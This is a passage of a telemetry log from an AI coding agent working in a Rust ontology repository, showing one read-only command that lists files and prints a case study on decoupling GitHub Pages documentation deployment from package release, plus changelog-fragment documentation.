model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.771Z] [INFO] \n[2026-07-12T04:02:42.913Z] [INFO] 2026-07-12T04:02:42.912000Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-6f055f3e-4a89-46db-a410-9c5034e13235 arguments={\"cmd\":\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":40000} duration_ms=150 success=true output=Chunk ID: 907367\n[2026-07-12T04:02:42.913Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:02:42.913Z] [INFO] Process exited with code 2\n[2026-07-12T04:02:42.913Z] [INFO] Original token count: 3777\n[2026-07-12T04:02:42.913Z] [INFO] Output:\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/requirements-and-solutions.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/research-link-foundation.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/research-nsm.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-1/research-popular-ontologies.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/analysis-crates-io.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/analysis-set-output.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/analysis-workflow-dispatch.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-11/online-research.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-17/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-19/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-27.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-29.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-31.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-33.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-21/browser-commander-rust.yml\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-25/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-29/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-3/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-32/README.md\n[2026-07-12T04:02:42.913Z] [INFO] docs/case-studies/issue-34/README.md\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/COMMIT_EDITMSG\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/FETCH_HEAD\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/HEAD\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/config\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/description\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/index\n[2026-07-12T04:02:42.913Z] [INFO] ./.git/packed-refs\n[2026-07-12T04:02:42.913Z] [INFO] ./.gitignore\n[2026-07-12T04:02:42.913Z] [INFO] ./.gitkeep\n[2026-07-12T04:02:42.913Z] [INFO] ./.pre-commit-config.yaml\n[2026-07-12T04:02:42.913Z] [INFO] ./CHANGELOG.md\n[2026-07-12T04:02:42.913Z] [INFO] ./CONTRIBUTING.md\n[2026-07-12T04:02:42.913Z] [INFO] ./Cargo.lock\n[2026-07-12T04:02:42.913Z] [INFO] ./Cargo.toml\n[2026-07-12T04:02:42.913Z] [INFO] ./LICENSE\n[2026-07-12T04:02:42.913Z] [INFO] ./README.md\n[2026-07-12T04:02:42.913Z] [INFO] ./REQUIREMENTS.md\n[2026-07-12T04:02:42.913Z] [INFO] ./ROADMAP.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20251227_224645_changeset_support.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20251229_143823_fix_ci_workflow_dependencies.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20251231_115800_fix_readme_script_references.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260107_apply_best_practices.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260108_171124_fix_changelog_check.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260108_171435_prevent_manual_version_modification.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260108_apply_lino_objects_codec_fixes.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260111_multi_language_support.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260119_best_practices_from_browser_commander.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260311_translate_scripts_to_rust.md\n[2026-07-12T04:02:42.913Z] [INFO] ./changelog.d/20260413-ci-cd-best-pra\n[2026-07-12T04:02:42.913Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:42.911Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.913Z] [INFO] 2026-07-12T04:02:42.912096Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-6f055f3e-4a89-46db-a410-9c5034e13235 duration_ms=150 success=true arguments_length=438 output_length=2086 output_line_count=58 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:42.912Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.913Z] [INFO] \n[2026-07-12T04:02:42.928Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_13\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:42.928Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_13\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\\\"\",\"aggregated_output\":\"docs/case-studies/issue-1/README.md\\ndocs/case-studies/issue-1/requirements-and-solutions.md\\ndocs/case-studies/issue-1/research-link-foundation.md\\ndocs/case-studies/issue-1/research-nsm.md\\ndocs/case-studies/issue-1/research-popular-ontologies.md\\ndocs/case-studies/issue-11/README.md\\ndocs/case-studies/issue-11/analysis-crates-io.md\\ndocs/case-studies/issue-11/analysis-set-output.md\\ndocs/case-studies/issue-11/analysis-workflow-dispatch.md\\ndocs/case-studies/issue-11/online-research.md\\ndocs/case-studies/issue-17/README.md\\ndocs/case-studies/issue-19/README.md\\ndocs/case-studies/issue-21/README.md\\ndocs/case-studies/issue-21/browser-commander-issue-27.md\\ndocs/case-studies/issue-21/browser-commander-issue-29.md\\ndocs/case-studies/issue-21/browser-commander-issue-31.md\\ndocs/case-studies/issue-21/browser-commander-issue-33.md\\ndocs/case-studies/issue-21/browser-commander-rust.yml\\ndocs/case-studies/issue-25/README.md\\ndocs/case-studies/issue-29/README.md\\ndocs/case-studies/issue-3/README.md\\ndocs/case-studies/issue-32/README.md\\ndocs/case-studies/issue-34/README.md\\n./.git/COMMIT_EDITMSG\\n./.git/FETCH_HEAD\\n./.git/HEAD\\n./.git/config\\n./.git/description\\n./.git/index\\n./.git/packed-refs\\n./.gitignore\\n./.gitkeep\\n./.pre-commit-config.yaml\\n./CHANGELOG.md\\n./CONTRIBUTING.md\\n./Cargo.lock\\n./Cargo.toml\\n./LICENSE\\n./README.md\\n./REQUIREMENTS.md\\n./ROADMAP.md\\n./changelog.d/20251227_224645_changeset_support.md\\n./changelog.d/20251229_143823_fix_ci_workflow_dependencies.md\\n./changelog.d/20251231_115800_fix_readme_script_references.md\\n./changelog.d/20260107_apply_best_practices.md\\n./changelog.d/20260108_171124_fix_changelog_check.md\\n./changelog.d/20260108_171435_prevent_manual_version_modification.md\\n./changelog.d/20260108_apply_lino_objects_codec_fixes.md\\n./changelog.d/20260111_multi_language_support.md\\n./changelog.d/20260119_best_practices_from_browser_commander.md\\n./changelog.d/20260311_translate_scripts_to_rust.md\\n./changelog.d/20260413-ci-cd-best-practices.md\\n./changelog.d/20260413_fix_cargo_token_fallback.md\\n./changelog.d/20260413_fix_crates_io_check.md\\n./changelog.d/20260413_fix_lookahead_regex.md\\n./changelog.d/20260414_fix_per_commit_diff.md\\n./changelog.d/20260415_fix_workspace_release_scripts.md\\n./changelog.d/20260427_070536_first_prototype.md\\n./changelog.d/20260427_083000_decouple_docs_deploy.md\\n./changelog.d/README.md\\n./data/allowlist-english.lino\\n./data/allowlist.lino\\n./examples/basic_usage.rs\\n./experiments/test-changelog-parsing.rs\\n./experiments/test-crates-io-check.rs\\n./experiments/test-detect-code-changes.sh\\n./experiments/test-version-check-dependencies.sh\\n./experiments/test-version-check.sh\\n./scripts/bump-version.rs\\n./scripts/check-changelog-fragment.rs\\n./scripts/check-file-size.rs\\n./scripts/check-release-needed.rs\\n./scripts/check-version-modification.rs\\n./scripts/collect-changelog.rs\\n./scripts/create-changelog-fragment.rs\\n./scripts/create-github-release.rs\\n./scripts/detect-code-changes.rs\\n./scripts/get-bump-type.rs\\n./scripts/get-version.rs\\n./scripts/git-config.rs\\n./scripts/publish-crate.rs\\n./scripts/rust-paths.rs\\n./scripts/version-and-commit.rs\\n./src/lib.rs\\n./src/loader.rs\\n./src/main.rs\\n./src/ontology.rs\\n./src/words.rs\\n      0 docs/case-studies/issue-19/ci-logs\\n      0 docs/case-studies/issue-19/pr-114-data\\n      0 docs/case-studies/issue-3/raw-data\\n      0 docs/case-studies/issue-3/template-data\\n     94 docs/case-studies/issue-25/README.md\\n     97 docs/case-studies/issue-32/README.md\\n    105 docs/case-studies/issue-1/research-popular-ontologies.md\\n    116 docs/case-studies/issue-21/browser-commander-issue-27.md\\n    124 docs/case-studies/issue-3/README.md\\n    124 docs/case-studies/issue-34/README.md\\n    126 docs/case-studies/issue-29/README.md\\n    129 docs/case-studies/issue-21/browser-commander-issue-31.md\\n    132 docs/case-studies/issue-11/analysis-set-output.md\\n    136 docs/case-studies/issue-21/browser-commander-issue-29.md\\n    139 docs/case-studies/issue-11/online-research.md\\n    140 docs/case-studies/issue-17/README.md\\n    151 docs/case-studies/issue-11/README.md\\n    153 docs/case-studies/issue-1/requirements-and-solutions.md\\n    156 docs/case-studies/issue-21/browser-commander-issue-33.md\\n    162 docs/case-studies/issue-1/research-link-foundation.md\\n    176 docs/case-studies/issue-1/research-nsm.md\\n    195 docs/case-studies/issue-11/analysis-workflow-dispatch.md\\n    227 docs/case-studies/issue-11/analysis-crates-io.md\\n    239 docs/case-studies/issue-19/README.md\\n    240 docs/case-studies/issue-21/README.md\\n    243 docs/case-studies/issue-1/README.md\\n    416 docs/case-studies/issue-21/browser-commander-rust.yml\\n   3820 total\\n# Issue 3 Case Study: Documentation Deployment Must Not Depend on Package Release\\n\\n## Summary\\n\\nIssue: [link-foundation/meta-ontology#3](https://github.com/link-foundation/meta-ontology/issues/3)\\n\\nThe GitHub Pages documentation deployment was coupled to package release jobs. When the package release path failed, the website deployment at `https://link-foundation.github.io/meta-ontology/` was skipped even though CI validation and the package build had already succeeded.\\n\\n## Collected Data\\n\\n- `raw-data/issue-3.json`: issue metadata and full issue body.\\n- `raw-data/issue-3-comments.json`: issue comments, empty at investigation time.\\n- `raw-data/pr-4*.json`: PR metadata, review comments, conversation comments, and reviews.\\n- `raw-data/main-runs.json`: recent main-branch workflow runs.\\n- `raw-data/main-run-24979900862.json` and `raw-data/main-run-24979900862.log.gz`: initial main push run metadata and logs.\\n- `raw-data/main-run-24983875003.json` and `raw-data/main-run-24983875003.log.gz`: run for merge commit `c162cc702f8de991634d97de8394763621d3349f`.\\n- `template-data/*-template-tree.txt`: CI/CD-related file tree snapshots from the JavaScript and Rust pipeline templates.\\n- `template-data/*-template-release.yml`: release workflow snapshots from both templates.\\n\\n## Timeline\\n\\n- 2026-04-27 06:26 UTC: main run `24979900862` started for the initial commit and failed in `Auto Release`.\\n- 2026-04-27 06:29 UTC: `Build Package` succeeded in run `24979900862`.\\n- 2026-04-27 06:30 UTC: `Auto Release` failed in `Check if version already released or no fragments`.\\n- 2026-04-27 06:30 UTC: `Deploy Rust Documentation` was skipped.\\n- 2026-04-27 08:11 UTC: main run `24983875003` started for merge commit `c162cc702f8de991634d97de8394763621d3349f` and reproduced the same pattern.\\n- 2026-04-27 08:13 UTC: `Build Package` succeeded in run `24983875003`.\\n- 2026-04-27 08:15 UTC: `Auto Release` failed, then `Deploy Rust Documentation` was skipped.\\n- 2026-04-27 08:25 UTC: issue 3 was opened to require website deployment regardless of package release success.\\n\\n## Requirements From the Issue\\n\\n1. Website deployment to GitHub Pages must work independently of package release success.\\n2. CI/CD files should be compared against the JavaScript and Rust pipeline templates.\\n3. Logs and related issue/PR data should be preserved under `docs/case-studies/issue-3`.\\n4. The case study should reconstruct the timeline, list requirements, identify root causes, and propose solutions.\\n5. Same issues found in referenced templates should be reported upstream with a reproducible example, workaround, and fix suggestion.\\n6. If data is insufficient, add debug output or verbose mode for future investigation.\\n\\n## Root Causes\\n\\n### Root Cause 1: Documentation Deployment Depends on Release Publication\\n\\nThe workflow configured `deploy-docs` with:\\n\\n```yaml\\nneeds: [auto-release, manual-release]\\n```\\n\\nand only allowed deployment when one of those release jobs succeeded. That makes documentation deployment depend on package release publication instead of on the package build. In both preserved main runs, `Build Package` succeeded but `Deploy Rust Documentation` was skipped after `Auto Release` failed.\\n\\nGitHub Actions supports job-level conditions and the `needs` context for dependent job results. The `needs..result` value can be `success`, `failure`, `cancelled`, or `skipped`, and job-level `if` expressions decide whether a job is sent to a runner. References:\\n\\n- GitHub Actions contexts reference: https://docs.github.com/en/actions/reference/workflows-and-actions/contexts\\n- GitHub Actions job conditions: https://docs.github.com/en/actions/how-tos/write-workflows/choose-when-workflows-run/control-jobs-with-conditions\\n\\n### Root Cause 2: Release Script Fails Under `RUSTFLAGS=-Dwarnings`\\n\\n`Auto Release` failed before crate publishing. The preserved logs show `rust-script scripts/check-release-needed.rs` failing because warnings are treated as errors:\\n\\n- `scripts/check-release-needed.rs:44`: unused `get_arg`\\n- `scripts/rust-paths.rs:106`: unused `get_cargo_lock_path`\\n- `scripts/rust-paths.rs:115`: unused `get_changelog_dir`\\n- `scripts/rust-paths.rs:124`: unused `get_changelog_path`\\n- `scripts/rust-paths.rs:133`: unused `needs_cd`\\n- `scripts/rust-paths.rs:138`: unused `parse_rust_root_from_args`\\n- `scripts/rust-paths.rs:258`: unused `main`\\n\\nThe shared `rust-paths.rs` helper is included by several `rust-script` binaries, and each binary intentionally uses only a subset of the helper API. That pattern needs an explicit dead-code allowance in the shared helper module, otherwise release-only script execution can fail even after normal `cargo clippy` and `cargo test` succeed.\\n\\n## Template Comparison\\n\\n### Rust Template\\n\\nThe Rust template currently has the same documentation deployment dependency pattern:\\n\\n```yaml\\ndeploy-docs:\\n  needs: [auto-release, manual-release]\\n```\\n\\nThis means the same failure mode can occur there. The upstream issue is tracked as `link-foundation/rust-ai-driven-development-pipeline-template#38`.\\n\\n### JavaScript Template\\n\\nThe JavaScript template does not have a GitHub Pages documentation deployment job, so the same website-specific issue was not found there. It does contain newer CI/CD practices worth preserving for future Rust workflow maintenance, especially main-only cancellation and avoiding unnecessary `always()` usage where normal cancellation/failure propagation is preferable.\\n\\n## Implemented Solution\\n\\n1. Changed `deploy-docs` to depend on `build`, not on `auto-release` or `manual-release`.\\n2. Kept deployment gated to successful package builds on main pushes and manual instant releases.\\n3. Removed the unused `get_arg` helper from `check-release-needed.rs`.\\n4. Marked the shared `rust-paths.rs` helper module with `#![allow(dead_code)]` because it is intentionally included by scripts that use different subsets of the API.\\n5. Added a CI/CD unit test that asserts `deploy-docs` depends on `build` and does not reference release publication job results.\\n\\n## Reproduction\\n\\nBefore the fix:\\n\\n1. Trigger the current main workflow with changelog fragments present.\\n2. Let `Build Package` succeed.\\n3. Cause `Auto Release` to fail in release-only scripting or package publication.\\n4. Observe `Deploy Rust Documentation` skipped because it needs the release jobs.\\n\\nThe preserved logs show this exact pattern in runs `24979900862` and `24983875003`.\\n\\n## Verification Plan\\n\\n- `cargo fmt --check`\\n- `cargo test --all-features --verbose`\\n- `cargo test --doc --verbose`\\n- `RUSTFLAGS=-Dwarnings HAS_FRAGMENTS=true rust-script scripts/check-release-needed.rs`\\n- `cargo clippy --all-targets --all-features`\\n- `rust-script scripts/check-file-size.rs`\\n\\n## Upstream Follow-Up\\n\\nFiled upstream Rust template issue: [link-foundation/rust-ai-driven-development-pipeline-template#38](https://github.com/link-foundation/rust-ai-driven-development-pipeline-template/issues/38)\\n\\nThe report includes:\\n\\n- Reproduction: `deploy-docs` depends on `auto-release` and `manual-release`; a failed release job skips Pages deployment even after build success.\\n- Workaround: rerun or manually deploy documentation after package release failures.\\n- Suggested fix: make `deploy-docs` depend on the successful validation/build job rather than release publication jobs.\\n# Changelog Fragments\\n\\nThis directory contains changelog fragments that will be collected into `CHANGELOG.md` during releases.\\n\\n## How to Add a Changelog Fragment\\n\\nWhen making changes that should be documented in the changelog, create a fragment file:\\n\\n```bash\\n# Create a new fragment with timestamp\\ntouch changelog.d/$(date +%Y%m%d_%H%M%S)_description.md\\n\\n# Or manually create a file matching the pattern: YYYYMMDD_HHMMSS_description.md\\n```\\n\\n## Fragment Format\\n\\nEach fragment should include a **frontmatter section** specifying the version bump type:\\n\\n```markdown\\n---\\nbump: patch\\n---\\n\\n### Fixed\\n- Description of bug fix\\n```\\n\\n### Bump Types\\n\\nUse semantic versioning bump types in the frontmatter:\\n\\n- **`major`**: Breaking changes (incompatible API changes)\\n- **`minor`**: New features (backward compatible)\\n- **`patch`**: Bug fixes (backward compatible)\\n\\n### Content Categories\\n\\nUse these categories in your fragment content:\\n\\n```markdown\\n---\\nbump: minor\\n---\\n\\n### Added\\n- Description of new feature\\n\\n### Changed\\n- Description of change to existing functionality\\n\\n### Fixed\\n- Description of bug fix\\n\\n### Removed\\n- Description of removed feature\\n\\n### Deprecated\\n- Description of deprecated feature\\n\\n### Security\\n- Description of security fix\\n```\\n\\n## Examples\\n\\n### Adding a new feature (minor bump)\\n\\n```markdown\\n---\\nbump: minor\\n---\\n\\n### Added\\n- New async processing mode for batch operations\\n```\\n\\n### Fixing a bug (patch bump)\\n\\n```markdown\\n---\\nbump: patch\\n---\\n\\n### Fixed\\n- Fixed memory leak in connection pool handling\\n```\\n\\n### Breaking change (major bump)\\n\\n```markdown\\n---\\nbump: major\\n---\\n\\n### Changed\\n- Renamed `process()` to `process_async()` - this is a breaking change\\n\\n### Removed\\n- Removed deprecated `legacy_mode` option\\n```\\n\\n## Why Fragments?\\n\\nUsing changelog fragments (similar to [Changesets](https://github.com/changesets/changesets) in JavaScript and [Scriv](https://scriv.readthedocs.io/) in Python):\\n\\n1. **No merge conflicts**: Multiple PRs can add fragments without conflicts\\n2. **Per-PR documentation**: Each PR documents its own changes\\n3. **Automated version bumping**: Version bump type is specified per-change\\n4. **Automated collection**: Fragments are automatically collected during release\\n5. **Consistent format**: Template ensures consistent changelog entries\\n\\n## How It Works\\n\\n1. **During PR**: Add a fragment file with your changes and bump type\\n2. **On merge to main**: The release workflow automatically:\\n   - Reads all fragment files and determines the highest bump type\\n   - Bumps the version in `Cargo.toml` accordingly\\n   - Collects fragments into `CHANGELOG.md`\\n   - Creates a git tag and GitHub release\\n   - Removes processed fragment files\\n\\n## Multiple PRs and Bump Priority\\n\\nWhen multiple PRs are merged before a release, all pending fragments are processed together. The **highest** bump type wins:\\n\\n- If any fragment specifies `major`, the release is a major version bump\\n- Otherwise, if any specifies `minor`, the release is a minor version bump\\n- Otherwise, the release is a patch version bump\\n\\nThis ensures that breaking changes are never missed, even when combined with smaller changes.\\n\\n## Default Behavior\\n\\nIf a fragment doesn't include a bump type in the frontmatter, it defaults to `patch`.\\n\",\"exit_code\":2,\"status\":\"failed\"}}\n[2026-07-12T04:02:42.928Z] [INFO] \n[2026-07-12T04:02:42.934Z] [INFO] 2026-07-12T04:02:42.930283Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zNW9IATkrMDbSTlyvHls9Oy1 arguments=const r = await tools.exec_command({cmd:\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":40000});\n[2026-07-12T04:02:42.934Z] [INFO] text(r.output);\n[2026-07-12T04:02:42.934Z] [INFO]  duration_ms=327 success=true output=Script completed\n[2026-07-12T04:02:42.934Z] [INFO] Wall time 0.2 seconds\n[2026-07-12T04:02:42.934Z] [INFO] Output:\n[2026-07-12T04:02:42.934Z] [INFO] \n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/requirements-and-solutions.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/research-link-foundation.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/research-nsm.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-1/research-popular-ontologies.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/analysis-crates-io.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/analysis-set-output.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/analysis-workflow-dispatch.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-11/online-research.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-17/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-19/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-27.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-29.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-31.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-issue-33.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-21/browser-commander-rust.yml\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-25/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-29/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-3/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-32/README.md\n[2026-07-12T04:02:42.934Z] [INFO] docs/case-studies/issue-34/README.md\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/COMMIT_EDITMSG\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/FETCH_HEAD\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/HEAD\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/config\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/description\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/index\n[2026-07-12T04:02:42.934Z] [INFO] ./.git/packed-refs\n[2026-07-12T04:02:42.934Z] [INFO] ./.gitignore\n[2026-07-12T04:02:42.934Z] [INFO] ./.gitkeep\n[2026-07-12T04:02:42.934Z] [INFO] ./.pre-commit-config.yaml\n[2026-07-12T04:02:42.934Z] [INFO] ./CHANGELOG.md\n[2026-07-12T04:02:42.934Z] [INFO] ./CONTRIBUTING.md\n[2026-07-12T04:02:42.934Z] [INFO] ./Cargo.lock\n[2026-07-12T04:02:42.934Z] [INFO] ./Cargo.toml\n[2026-07-12T04:02:42.934Z] [INFO] ./LICENSE\n[2026-07-12T04:02:42.934Z] [INFO] ./README.md\n[2026-07-12T04:02:42.934Z] [INFO] ./REQUIREMENTS.md\n[2026-07-12T04:02:42.934Z] [INFO] ./ROADMAP.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20251227_224645_changeset_support.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20251229_143823_fix_ci_workflow_dependencies.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20251231_115800_fix_readme_script_references.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260107_apply_best_practices.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260108_171124_fix_changelog_check.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260108_171435_prevent_manual_version_modification.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260108_apply_lino_objects_codec_fixes.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260111_multi_language_support.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260119_best_practices_from_browser_commander.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260311_translate_scripts_to_rust.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260413-ci-cd-best-practices.md\n[2026-07-12T04:02:42.934Z] [INFO] ./changelog.d/20260413_fix_cargo_token_fallback\n[2026-07-12T04:02:42.934Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:42.930Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.934Z] [INFO] 2026-07-12T04:02:42.930328Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zNW9IATkrMDbSTlyvHls9Oy1 duration_ms=327 success=true arguments_length=490 output_length=2086 output_line_count=58 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:42.930Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.934Z] [INFO] 2026-07-12T04:02:42.930757Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_zNW9IATkrMDbSTlyvHls9Oy1 tool_source=\"direct\" execution_started=true dispatch_duration_ms=1 handler_duration_ms=327 total_duration_ms=329\n[2026-07-12T04:02:42.934Z] [INFO] \n[2026-07-12T04:02:42.981Z] [INFO] 2026-07-12T04:02:42.978470Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:42.981Z] [INFO] \n[2026-07-12T04:02:43.033Z] [INFO] 2026-07-12T04:02:43.033002Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:43.033Z] [INFO] \n[2026-07-12T04:02:43.066Z] [INFO] 2026-07-12T04:02:43.066000Z 